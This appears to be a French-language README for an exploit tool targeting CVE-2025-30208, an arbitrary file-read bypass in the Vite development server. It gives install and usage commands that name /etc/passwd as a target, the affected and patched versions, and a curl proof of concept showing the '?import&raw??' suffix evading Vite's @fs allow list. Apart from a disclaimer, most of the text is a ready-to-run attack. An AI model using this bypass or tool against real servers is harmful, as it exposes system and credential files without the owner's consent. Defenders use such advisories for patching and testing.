
Cet exploit est uniquement destiné à des fins éducatives et de tests de sécurité éthiques. L'utilisation de cet exploit contre des cibles sans consentement préalable mutuel est illégale, et le développeur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet exploit.
[!IMPORTANT]
Avertissement
Cet exploit est destiné uniquement à des fins éducatives et de tests de sécurité éthiques. L'utilisation de cet exploit contre des cibles sans consentement mutuel préalable est illégale, et le développeur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet exploit.
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
options:
-h, --help show this help message and exit
-t <Target URL> Example: -t http://localhost:5173/
-fp <File Path> Example: -fp /etc/passwd
-i Interactive mode
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
Le contenu de fichiers arbitraires peut être renvoyé au navigateur.
Seules les applications exposant explicitement le serveur de développement Vite au réseau (en utilisant l'option de configuration --host ou server.host) sont concernées.
@fs refuse l'accès aux fichiers en dehors de la liste d'autorisation de Vite. L'ajout de ?raw?? ou ?import&raw?? à l'URL contourne cette limitation et renvoie le contenu du fichier s'il existe. Cette faille existe car les séparateurs de fin tels que ? sont supprimés à plusieurs endroits, mais ne sont pas pris en compte dans les expressions régulières de la chaîne de requête.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...